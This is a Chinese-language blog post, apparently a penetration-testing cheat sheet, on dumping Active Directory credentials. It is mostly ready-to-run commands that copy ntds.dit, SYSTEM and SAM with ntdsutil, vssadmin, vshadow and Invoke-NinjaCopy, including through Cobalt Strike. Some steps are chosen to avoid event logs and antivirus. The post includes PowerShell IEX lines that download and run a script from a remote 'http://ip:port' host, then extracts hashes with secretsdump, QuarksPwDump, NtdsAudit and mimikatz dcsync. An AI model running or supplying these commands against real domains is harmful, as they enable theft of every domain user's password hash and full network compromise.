域内密码凭证获取

标签：quit 凭证 获取 Windows ntds 密码 dit 快照 NinjaCopy

成殇Orz1

0x00 活动目录数据库

• 由ntds.dit文件构成
• 默认存储在所有域控制器上的%SystemRoot%\NTSD文件夹中
• 只能通过域控制器进程和协议访问
  ntds.dit：活动目录数据库，包括有关域用户、组和组成员身份的信息。它还包括域中所有用户的密码哈希值。

为了保护密码哈希值，使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。因此想要破解sam文 件与ntds.dit文件都需要拥有一个system文件。

由于Windows阻止对这些文件的标准读取或复制操作，因此必须使用特殊技术来获取副本。

NTDS.DIT	:	Windows\NTDS\NTDS.dit
SYSTEM		:	Windows\System32\config\SYSTEM
SAM			:	Windows\System32\config\SAM

PS : SAM存储当前主机用户密码哈希

​ NTDS.DIT存储这域内所有用户密码哈希

0x01 获取NTSD.DIT

Volume Shadow Copy Service

Volume Shadow Copy Service (VSS) 卷影复制服务是微软从 Windows XP 开始提供的用于创建一致性的时间 点副本（也就是快照）的服务框架。

• 用于数据备份
• 支持Windows Server 2003 及以上操作系统
• 系统默认在特定条件下自动创建数据备份，如补丁安装后。在Win7系统大概每隔一周自动创建备份，该时间 无法确定
• 禁用VSS会影响系统正常使用，如 System Restore和 Windows Server Backup

Ntdsutil

交互式：

ntdsutil
snapshot
activate instance ntds
create
mount [GUID]	//copy 完之后再执行
unmout [GUID]
del [GUID]
quit
quit

非交互式:

ntdsutil snapshot "activate instance ntds" create quit quit				//创建快照
ntdsutil snapshot "mount {GUID}" quit quit								//挂载快照
copy MOUNT_POINT\windows\ntds\ntds.dit c:\temp\ntds.dit					//复制ntds.dit
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit			//删除快照

Ntdsutil-InstallFromMedia

交互式：

ntdsutil
activate instance ntds
ifm
create full <Drive>:\<Folder>
quit
quit

非交互式:

ntdsutil "activate instance ntds" ifm “create full C:\ntds” quit quit

Vssadmin

vssadmin list shadows											//查询当前系统的快照
vssadmin create shadow /for=c:									//创建快照
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\NTDS\ntds.dit c:\ntds2.dit													   //复制文件
vssadmin delete shadows /for=c: /quiet							//删除快照
vssadmin delete Shadows /All /quie								//删除快照

mklink

无法直接访问 \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy23中的文件

可通过创建符号链接访问快照中的文件：

mklink /d c:\test\ \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy23\
rd c:\testvsc

Vshadow

Vshadow：是一个简单的指令行工具，它允许任何人创建卷影拷贝。系统默认不支持，可在Microsoft Windows Software Development Kit (SDK)中获得该工具。（不会被杀软杀）

vshadow.exe -q											//查询当前快照
vshadow.exe -p -nw C:									//创建快照
copy [Shadow copy device name]\windows\ntds\ntds.dit c:\ntds.dit	//复制
vshadow.exe -dx=ShadowCopySetId							//删除
vshadow.exe -ds=ShadowCopyId

查询快照

创建快照

复制

NinjaCopy

通过NinjaCopy获得域控服务器NTDS.dit文件,没有调用Volume Shadow Copy服务，所以不会产生日志文件7036。

本地

set-executionpolicy Bypass							//修改powershell执行策略

Import-Module .\invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\sam.hive
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination .\system.hive
Invoke-NinjaCopy -Path C:\windows\ntds\ntds.dit -LocalDestination .\ntds.dit

cobaltstrike

powershell-import C:\Users\4600\Desktop\Invoke-NinjaCopy.ps1
powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination c:\sam.hive
powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination
c:\system.hive
powershell Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination C:\ntds.dit

远程加载

powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://ip:port/InvokeNinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination c:\sam1.hive

powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://ip:port/InvokeNinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination c:\system1.hive

powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://ip:port/InvokeNinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\ntds\ntds.dit -LocalDestination c:\ntds1.dit

0x02 解密ntds.dit

esentutl /p /o ntds.dit										//修复复制出来的数据库文件

QuarkPwDump

Quarks PwDump 是一款开放源代码的Windows用户凭据提取工具，它可以抓取windows平台下多种类型的 用户凭据，包括：本地帐户、域帐户、缓存的域帐户和Bitlocker。

QuarksPwDump.exe --dump-hash-domain --output de1ay.com.txt --ntds-file ntds.dit

secretsdump

impacket 套件中的 secretsdump.py 脚本解密，速度有点慢

secretsdump.exe -sam sam.hive -security security.hive -system system.hive LOCAL
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

NtdsAudit

NtdsAudit可以十分高效的破解ntds文件并将全部域用户信息导出方便查找域用户状态。 将ntds.dit文件和SYSTEM文件放在同一目录下执行命令

NtdsAudit.exe "ntds.dit" -s "system.hive" -p pwdump.txt --users-csv users.csv

mimikatz

使用Mimikatz的dcsync功能，可以利用目录复制服务（Directory Replication Service, DRS）从NTDS.DIT文件中提取密码哈希值。

lsadump::dcsync /domain:de1ay.com /user:mssql			//获取单个用户的详细信息
lsadump::dcsync /domain:de1ay.com /all /cvs				//获取所有用户
mimikatz lsadump::lsa /inject							//查看所有用户的详细信息

标签：quit,凭证,获取,Windows,ntds,密码,dit,快照,NinjaCopy
From： https://www.cnblogs.com/CShang/p/16717712.html